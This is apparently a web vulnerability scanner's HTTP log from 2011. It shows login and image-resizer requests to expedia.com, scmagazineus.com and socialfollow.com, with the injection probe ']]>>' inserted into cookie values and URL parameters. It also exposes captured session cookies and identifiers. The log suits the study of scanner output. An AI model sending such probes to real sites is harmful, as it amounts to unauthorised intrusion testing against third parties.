turn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:55:06 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX01AB8D9FCA$CA$B9201000$D8$27$E96$9Ab$9D$0D$9Ab$9D$0D$9Ab$9D$0D10001000$1E810$2302!50$B2$F3$15$CA$D2$8C$8B$D4$1E$B5UH!e02000`minfo=v.5,EX01B2D316D2$FB$24$DD$0C$C03$DBZz9I$A1p$99I$288$D83$116$DEU$30$60$98o$E1$F1zq$B3$DE$EA$C33$11$2B$DB$3EQ$A0$9CEf$C41$DB`266; Domain=.expedia.com; path=/
Set-Cookie: p1=`accttype=v.2,3,1,EX01D7F1CCA8$FB$24$DD$0C$DD3$DBGz1I$ACp$99K$218$D87$113$DEU$29$60$9Co$D3`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`167; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 97905

<DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98]]>>; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:55:35 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX017AC37230$EC$99201000$E3$27$E96$35e$9D$0D$35e$9D$0D$35e$9D$0D10001000$1E810$2302!50$AB$B9$D9w$CF$90$82$343$EC$CF$7D!e02000`minfo=v.5,EX0170B30D0C$FC$24$DD$0C$97$2Eksn5$2A6a$E0$60$95p$17$D6J$33G$F3$BE$FBQJ$A2$13$D1$7C$1B1$D7s$DC$E8$197i$36b$607$B7A$3D$AD0$5B151`275; Domain=.expedia.com; path=/
Set-Cookie: p1=`accttype=v.2,3,1,EX011474DEDB$FC$24$DD$0C$8A$2Ekcn5$2D2a$E1$60$95k$17$D4J$38G$F3$BA$E4QJ$A1$13$D1O$1B1`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`180; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 97905

<DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95]]>>; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:55:40 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX014EC94B66$9E$BB201000$E3$27$E96Ke$9D$0DKe$9D$0DKe$9D$0D10001000$1E810$2302!50$AB$B9$D9w$B7$90$82$34$3EK$A3$9E!e02000`minfo=v.5,EX01DB5F03E4$FC$24$DD$0C$97$2Eksn5$25$0Fa$E1$60$95g$17$D2J$37G$F3$BE$FBQJ$A2$13$D1$7C$1B1$D7s$DC$E8$197i$36bp7$B7$5F$3D$AD0$5B151`271; Domain=.expedia.com; path=/
Set-Cookie: p1=`accttype=v.2,3,1,EX0108842C1A$FC$24$DD$0C$8A$2Ekcn5$2D2a$EE$60$95u$17$D5J$32G$F3$BE$E0QJ$A1$13$D1O$1B1`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`180; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 97905

<DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B]]>>
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:55:46 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX019F6A6F02$C4$BE201000$E1$27$E96je$9D$0Dje$9D$0Dje$9D$0D10001000$1E810$2302!50$15$8F$C0$5F$7F$89$E8YI$81$FD$1E!e02000`minfo=v.5,EX01D09384A2$FC$24$DD$0C$97$2Eksn5$25$0Fa$E0$60$95n$17$DAJ$33G$F3$B8$FBQJ$A2$13$D1$7C$1B1$D7s$DC$E8$197i$36bt7$B7Z$3D$AD0$5B151`269; Domain=.expedia.com; path=/
Set-Cookie: p1=`accttype=v.2,3,1,EX016096FF65$FC$24$DD$0C$8A$2Ekcn5$2D2a$EE$60$95u$17$D4J$31G$F3$B6$E4QJ$A7$13$D1O$1B1`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`180; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 97905

<DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]]]>>; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:54:41 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX01CCFAC15C$0D$BB201000$DB$27$E96$22b$9D$0D$22b$9D$0D$22b$9D$0D10001000$1E810$2302!50$14$1D$E9$AB$246I$CD$5F$C4$D0N!e02000`minfo=v.5,EX0121F88C0E$FB$24$DD$0C$C03$DBZz9I$A1p$99U$2B8$D87$113$DBU$30$60$98o$E1$F1zq$B3$DE$EA$C43$1F$2B$DB$3EQ$A0$9CEf$C41$DB`264; Domain=.expedia.com; path=/
Set-Cookie: p1=`accttype=v.2,3,1,EX01682CB3E9$FB$24$DD$0C$DD3$DBGz1I$ACp$99K$218$D85$110$DAU$2C$60$99o$D3`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`167; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 97905

<DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0]]>>; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:55:14 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX01A7FF4251$A1$BA201000$D8$27$E96$BEb$9D$0D$BEb$9D$0D$BEb$9D$0D10001000$1E810$2302!50$B2$F3$15$CA$F6$8C$8B$D4T$3A$8E$A3!e02000`minfo=v.5,EX013B7E42AA$FB$24$DD$0C$C03$DBZz9I$A1p$99$40$298$D8$0C$11$0B$DCU$30$60$98o$E1$F1zq$B3$DE$EA$C23$18$2B$D1$3EQ$A0$9CEf$C41$DB`274; Domain=.expedia.com; path=/
Set-Cookie: p1=`accttype=v.2,3,1,EX01328D33C9$FB$24$DD$0C$DD3$DBGz1I$ACp$99K$218$D81$112$D1U$24$60$9Eo$D3`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`167; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 97905

<DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

GET /webservice/ImageResizer.ashx?n=http://media.scmagazineus.com/images/2011/05/02/0511_f_larry_whiteside_fp_2_163095_163098.jpg&h=244]]>>&w=436&c=1 HTTP/1.1
Host: www.scmagazineus.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_pers=%20s_chn_cvp%3D%255B%255B%2527referrers%2527%252C%25271303995569311%2527%255D%255D%7C1461848369310%3B%20s_key_cvp%3D%255B%255B%2527n/a%2527%252C%25271303995569312%2527%255D%255D%7C1461848369312%3B; __utmz=53791274.1303995582.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; __utma=53791274.422456328.1303995582.1303995582.1303995582.1; ASP.NET_SessionId=zpaunnv34zkpdxy4mysuxdoz

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/Jpeg
Expires: Fri, 06 May 2011 22:51:48 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
From: Web2-VM
Date: Fri, 06 May 2011 21:51:48 GMT
Content-Length: 41087

......JFIF..............Adobe.d........BExif..MM.*......................................................................... .....................................................(...........1..........
...[SNIP]...
<?xml version="1.0" encoding="UTF-8"?>
...[SNIP]...

GET /webservice/ImageResizer.ashx?n=http://media.scmagazineus.com/images/2011/05/02/0511_f_larry_whiteside_fp_2_163095_163098.jpg&h=244&w=436]]>>&c=1 HTTP/1.1
Host: www.scmagazineus.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_pers=%20s_chn_cvp%3D%255B%255B%2527referrers%2527%252C%25271303995569311%2527%255D%255D%7C1461848369310%3B%20s_key_cvp%3D%255B%255B%2527n/a%2527%252C%25271303995569312%2527%255D%255D%7C1461848369312%3B; __utmz=53791274.1303995582.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; __utma=53791274.422456328.1303995582.1303995582.1303995582.1; ASP.NET_SessionId=zpaunnv34zkpdxy4mysuxdoz

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/Jpeg
Expires: Fri, 06 May 2011 22:52:32 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
From: Web2-VM
Date: Fri, 06 May 2011 21:52:31 GMT
Content-Length: 41087

......JFIF..............Adobe.d........BExif..MM.*......................................................................... .....................................................(...........1..........
...[SNIP]...
<?xml version="1.0" encoding="UTF-8"?>
...[SNIP]...

POST /login.php HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
Cache-Control: max-age=0
Origin: http://www.socialfollow.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
